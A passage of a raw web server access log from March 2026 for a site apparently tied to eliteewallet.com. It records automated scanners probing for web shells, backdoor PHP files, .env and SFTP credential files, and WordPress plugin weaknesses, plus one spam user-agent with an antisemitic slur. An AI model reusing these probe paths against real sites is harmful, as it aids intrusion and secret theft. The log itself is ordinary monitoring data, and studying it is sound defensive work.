+0300] "GET /cxc.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [17/Mar/2026:00:46:29 +0300] "GET /zxin.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [17/Mar/2026:00:38:43 +0300] "GET /wp-access.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [17/Mar/2026:00:38:47 +0300] "GET /kaza.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [17/Mar/2026:00:38:50 +0300] "GET /randkeyword.PhP7 HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [17/Mar/2026:00:38:53 +0300] "GET /file2.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [17/Mar/2026:00:38:57 +0300] "GET /environment.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [17/Mar/2026:00:39:22 +0300] "GET /cgi-bin/index.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [17/Mar/2026:00:39:23 +0300] "GET /wp-admin/maint/index.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [17/Mar/2026:00:40:03 +0300] "GET /ee.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [17/Mar/2026:00:44:49 +0300] "GET /eauu.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [17/Mar/2026:00:44:52 +0300] "GET /ff1.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [17/Mar/2026:00:44:55 +0300] "GET /ty.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [17/Mar/2026:00:45:01 +0300] "GET /wp-act.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [17/Mar/2026:00:47:16 +0300] "GET /a2.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [17/Mar/2026:00:47:19 +0300] "GET /raw.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [17/Mar/2026:00:39:07 +0300] "GET /ah25.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [17/Mar/2026:00:39:10 +0300] "GET /bolt.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [17/Mar/2026:00:39:34 +0300] "GET /test.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [17/Mar/2026:00:44:23 +0300] "GET /koiy.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [17/Mar/2026:00:44:26 +0300] "GET //koiy.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [17/Mar/2026:00:44:29 +0300] "GET /tmpls.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [17/Mar/2026:00:46:34 +0300] "GET /wp-conflg.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [17/Mar/2026:00:46:37 +0300] "GET /post.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [17/Mar/2026:00:46:39 +0300] "GET /myfile.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [17/Mar/2026:00:46:42 +0300] "GET /sadd.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [17/Mar/2026:00:46:45 +0300] "GET /forbidals.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [17/Mar/2026:00:46:48 +0300] "GET /alfa-rex.php7 HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [17/Mar/2026:00:46:51 +0300] "GET /fs.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [17/Mar/2026:00:46:55 +0300] "GET /xa.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [17/Mar/2026:00:47:07 +0300] "GET /erty.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [17/Mar/2026:00:47:11 +0300] "GET /public/wp-blog.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [17/Mar/2026:00:47:37 +0300] "GET /xda.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [17/Mar/2026:00:47:40 +0300] "GET /e.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [17/Mar/2026:00:47:43 +0300] "GET /wp9.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [17/Mar/2026:00:47:46 +0300] "GET /xqq.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [17/Mar/2026:00:47:49 +0300] "GET /iko.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [17/Mar/2026:00:47:51 +0300] "GET /motu.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [17/Mar/2026:00:47:52 +0300] "GET /xxx.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [17/Mar/2026:00:47:56 +0300] "GET /maxro.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [17/Mar/2026:00:47:59 +0300] "GET /fleen.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [17/Mar/2026:00:48:01 +0300] "GET /ex.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [17/Mar/2026:00:48:17 +0300] "GET ///edit.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [17/Mar/2026:00:48:21 +0300] "GET /sty.php HTTP/1.1" 301 795 "-" "-" 43.159.140.236 - - [17/Mar/2026:00:36:30 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 20.220.232.240 - - [17/Mar/2026:00:40:16 +0300] "GET /sid3.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [17/Mar/2026:00:42:36 +0300] "GET /xxxx.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [17/Mar/2026:00:42:49 +0300] "GET /tt.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [17/Mar/2026:00:43:25 +0300] "GET /file59.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [17/Mar/2026:00:43:29 +0300] "GET /wen.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [17/Mar/2026:00:43:33 +0300] "GET /api.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [17/Mar/2026:00:43:36 +0300] "GET /public/hi.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [17/Mar/2026:00:43:38 +0300] "GET /06.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [17/Mar/2026:00:45:42 +0300] "GET /god.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [17/Mar/2026:00:47:29 +0300] "GET /sbhu.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [17/Mar/2026:00:47:33 +0300] "GET /ws60.php HTTP/1.1" 301 795 "-" "-" 103.107.197.164 - - [17/Mar/2026:03:29:04 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36 OPR/89.0.4447.51" 91.84.124.42 - - [17/Mar/2026:04:32:01 +0300] "GET / HTTP/1.0" 301 795 "http://eliteewallet.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36 CCleaner/130.0.0.0" 144.172.98.175 - - [17/Mar/2026:04:02:43 +0300] "GET /wp-content/plugins/unzipper.php HTTP/1.1" 301 795 "-" "Python-urllib/2.7" 98.87.10.58 - - [17/Mar/2026:06:12:24 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 43.159.149.216 - - [17/Mar/2026:05:54:41 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 83.168.74.163 - - [17/Mar/2026:05:16:36 +0300] "GET //wp-json/wp/v2/posts HTTP/1.0" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 125.75.66.97 - - [17/Mar/2026:05:17:02 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 43.135.144.81 - - [17/Mar/2026:05:08:15 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 98.87.10.58 - - [17/Mar/2026:06:03:54 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 27.115.124.53 - - [17/Mar/2026:06:04:10 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 11; CPH2185) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Mobile Safari/537.36" 144.91.103.84 - - [17/Mar/2026:08:08:22 +0300] "GET /wp-content/plugins/shell/about.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 144.91.103.84 - - [17/Mar/2026:08:08:52 +0300] "GET /wp-content/plugins/fix/up.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 144.91.103.84 - - [17/Mar/2026:08:09:33 +0300] "GET /wp-content/plugins/wp-help/mini.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 85.137.48.167 - - [17/Mar/2026:07:21:46 +0300] "GET /style.php HTTP/1.1" 301 795 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)" 199.244.88.231 - - [17/Mar/2026:08:56:46 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 49.51.36.179 - - [17/Mar/2026:10:07:04 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 85.203.23.199 - - [17/Mar/2026:12:03:34 +0300] "GET /inputs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 85.203.23.199 - - [17/Mar/2026:12:03:38 +0300] "GET /.well-known/core.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 85.203.23.199 - - [17/Mar/2026:12:03:43 +0300] "GET /wp-content/users.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 173.252.87.9 - - [17/Mar/2026:11:39:10 +0300] "GET / HTTP/1.1" 301 795 "-" "meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)" 117.33.163.216 - - [17/Mar/2026:11:48:47 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 173.252.87.21 - - [17/Mar/2026:11:39:10 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "facebookexternalhit/1.1 (+http://www.facebook.com/externalhit_uatext.php)" 171.6.98.14 - - [17/Mar/2026:10:32:29 +0300] "GET /wp-json/wp/v2/posts HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 49.51.233.95 - - [17/Mar/2026:10:52:45 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 51.68.107.154 - - [17/Mar/2026:10:31:35 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MJ12bot/v2.0.5; http://mj12bot.com/)" 51.68.107.154 - - [17/Mar/2026:10:31:36 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MJ12bot/v2.0.5; http://mj12bot.com/)" 34.142.251.255 - - [17/Mar/2026:14:09:00 +0300] "HEAD / HTTP/1.1" 301 0 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36" 34.142.251.255 - - [17/Mar/2026:14:09:06 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Safari/605.1.15" 17.241.219.238 - - [17/Mar/2026:14:08:47 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4 Safari/605.1.15 (Applebot/0.1; +http://www.apple.com/go/applebot)" 17.241.219.238 - - [17/Mar/2026:14:08:53 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4 Safari/605.1.15 (Applebot/0.1; +http://www.apple.com/go/applebot)" 20.17.162.97 - - [17/Mar/2026:14:39:55 +0300] "GET /wp-admin/css/ HTTP/1.1" 301 795 "binance.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 43.166.239.145 - - [17/Mar/2026:15:06:14 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 43.153.96.233 - - [17/Mar/2026:15:52:24 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 38.145.208.234 - - [17/Mar/2026:17:00:40 +0300] "GET /wp-json/wp/v2/posts HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 216.106.185.13 - - [17/Mar/2026:17:57:02 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36" 199.244.88.226 - - [17/Mar/2026:17:17:35 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 167.172.95.123 - - [17/Mar/2026:17:15:31 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4240.193 Safari/537.36" 43.140.247.223 - - [17/Mar/2026:18:38:48 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 43.157.172.39 - - [17/Mar/2026:19:59:13 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 78.29.51.27 - - [17/Mar/2026:20:10:44 +0300] "GET / HTTP/1.1" 301 795 "http://78.29.51.27/antivirus/?s1=CU_eliteewallet.com" "IMPORTANT! FREE! NON-CRIMINAL INDEPENDENT BLOCKCHAIN ANTIVIRUS! BASE - 50 MLN SiGNATURES! WE WORK EVEN IN SWITZERLAND, POLAND, FINLAND! OWN BLOCKCHAIN PROCESSING GATEWAYS - 24! OWN CALENDAR AND SUB-CIVILIZATION, ONLY UNDER JEWS! OWN HOSTING AND ENCRYPTED DATABASE! LINK - http://78.29.51.27/antivirus/?s1=CU_eliteewallet.com" 46.101.240.234 - - [17/Mar/2026:21:58:17 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 109.174.185.27 - - [17/Mar/2026:21:12:09 +0300] "GET /sftp-config.json HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36" 109.174.186.24 - - [17/Mar/2026:21:12:09 +0300] "GET /.vscode/sftp.json HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36" 43.133.220.37 - - [17/Mar/2026:20:51:10 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 46.101.240.234 - - [17/Mar/2026:21:58:17 +0300] "GET /favicon.ico HTTP/1.1" 301 795 "http://eliteewallet.com/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 100.30.5.6 - - [18/Mar/2026:00:09:54 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/600.2.5 (KHTML, like Gecko) Version/8.0.2 Safari/600.2.5 (Gort)" 20.104.19.195 - - [18/Mar/2026:00:55:51 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 106.119.167.146 - - [18/Mar/2026:00:58:29 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 82.165.74.190 - - [18/Mar/2026:00:23:27 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64)" 20.151.2.242 - - [18/Mar/2026:00:52:23 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 43.157.175.122 - - [18/Mar/2026:01:31:43 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 43.135.211.148 - - [18/Mar/2026:02:16:56 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 107.174.231.218 - - [18/Mar/2026:03:30:58 +0300] "GET /wp-json/wp/v2/posts HTTP/1.0" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 38.142.81.21 - - [18/Mar/2026:03:20:34 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_2) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.4 Safari/605.1.15" 51.68.111.219 - - [18/Mar/2026:03:03:38 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MJ12bot/v2.0.5; http://mj12bot.com/)" 51.68.111.219 - - [18/Mar/2026:03:03:38 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MJ12bot/v2.0.5; http://mj12bot.com/)" 43.228.157.37 - - [18/Mar/2026:04:18:50 +0300] "GET /assets/server/php/index.php?file=tf2rghf.jpg HTTP/1.1" 301 795 "-" "ALittle Client" 213.111.157.176 - - [18/Mar/2026:03:58:32 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 115.45.43.182 - - [18/Mar/2026:04:32:51 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.4059.149 Safari/537.36 SE 2.X MetaSr 1.0" 165.232.190.108 - - [18/Mar/2026:04:04:31 +0300] "GET /wp-admin/css/ HTTP/1.1" 301 795 "binance.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 20.220.15.47 - - [18/Mar/2026:04:38:48 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 144.172.98.175 - - [18/Mar/2026:06:17:06 +0300] "GET /wp-content/plugins/file-away/readme.txt HTTP/1.1" 301 795 "-" "Python-urllib/2.7" 182.43.70.143 - - [18/Mar/2026:07:13:11 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 43.155.129.131 - - [18/Mar/2026:06:58:08 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 103.173.162.201 - - [18/Mar/2026:07:51:31 +0300] "GET /wp-json/wp/v2/posts HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 43.157.67.70 - - [18/Mar/2026:07:46:05 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 1.231.81.166 - - [18/Mar/2026:08:51:29 +0300] "GET /wp-json/wp/v2/posts HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 4.204.200.32 - - [18/Mar/2026:08:17:38 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 5.129.212.113 - - [18/Mar/2026:09:37:24 +0300] "GET /wp-json/wp/v2/posts HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 176.65.132.19 - - [18/Mar/2026:09:46:50 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "https://www.facebook.com/" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36" 167.172.95.123 - - [18/Mar/2026:10:13:26 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4240.193 Safari/537.36" 194.5.48.222 - - [18/Mar/2026:12:09:36 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0" 170.106.35.187 - - [18/Mar/2026:12:16:10 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 62.171.173.178 - - [18/Mar/2026:13:56:40 +0300] "GET /wp-admin/css/ HTTP/1.1" 301 795 "binance.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 93.183.69.162 - - [18/Mar/2026:13:01:00 +0300] "GET /wp-json/wp/v2/posts HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.151.11.236 - - [18/Mar/2026:13:41:49 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 101.42.46.71 - - [18/Mar/2026:13:59:04 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 43.135.144.81 - - [18/Mar/2026:13:01:57 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 89.110.118.225 - - [18/Mar/2026:14:00:58 +0300] "GET / HTTP/1.0" 301 795 "http://eliteewallet.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36 CCleaner/130.0.0.0" 40.114.38.88 - - [18/Mar/2026:16:10:45 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 172.190.142.176 - - [18/Mar/2026:16:53:16 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 43.135.182.43 - - [18/Mar/2026:17:15:02 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 43.130.15.147 - - [18/Mar/2026:18:00:23 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 178.16.53.90 - - [18/Mar/2026:18:28:12 +0300] "GET /.env HTTP/1.1" 301 795 "-" "-" 130.254.47.227 - - [18/Mar/2026:20:59:07 +0300] "GET / HTTP/1.0" 301 795 "http://eliteewallet.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36" 69.171.231.24 - - [18/Mar/2026:20:16:20 +0300] "GET / HTTP/1.1" 301 795 "-" "meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)" 173.252.70.113 - - [18/Mar/2026:20:16:19 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "facebookexternalhit/1.1 (+http://www.facebook.com/externalhit_uatext.php)" 144.76.32.190 - - [18/Mar/2026:20:24:16 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; SERankingBacklinksBot/1.0; +https://seranking.com/backlinks-crawler)" 159.65.139.58 - - [18/Mar/2026:19:49:35 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4240.193 Safari/537.36" 134.209.175.16 - - [18/Mar/2026:18:58:12 +0300] "GET /wp-content/plugins/profile-builder/readme.txt HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like 